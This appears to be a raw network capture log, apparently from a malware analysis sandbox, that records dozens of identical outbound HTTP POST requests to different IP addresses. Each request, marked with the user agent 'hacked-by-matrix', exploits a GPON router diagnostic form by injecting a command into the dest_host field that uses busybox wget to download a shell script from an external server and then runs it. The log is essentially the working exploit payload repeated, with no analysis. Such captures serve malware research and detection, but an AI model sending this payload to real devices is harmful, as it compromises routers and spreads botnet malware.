Mar 2, 2024 12:37:42.021338940 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.23	52702	212.179.182.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021339893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.23	53980	42.187.37.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021339893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.23	48206	212.160.129.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021353006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.23	47038	5.202.178.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021388054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.23	36756	37.240.51.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021395922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.23	40490	109.6.247.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021395922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.23	35716	118.44.210.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021395922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.23	46140	42.82.27.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021437883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.23	55870	5.110.255.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021451950 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.23	42544	94.216.147.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021461010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.23	46106	37.7.211.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021469116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.23	38290	79.163.195.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021516085 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.23	55378	42.181.18.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021538973 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.23	59530	178.248.102.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021564960 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.23	47762	178.125.18.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021596909 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.23	55814	212.133.42.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021608114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.23	50468	94.208.117.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021620989 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.23	58688	42.86.141.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021631956 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.23	48620	42.73.92.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021663904 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.23	60564	2.247.216.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021672010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.23	60654	210.162.113.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021672010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.23	33456	210.228.212.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021718979 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.23	38054	109.96.133.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021718025 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.23	49684	94.46.215.235	443

Timestamp	Bytes transferred	Direction	Data
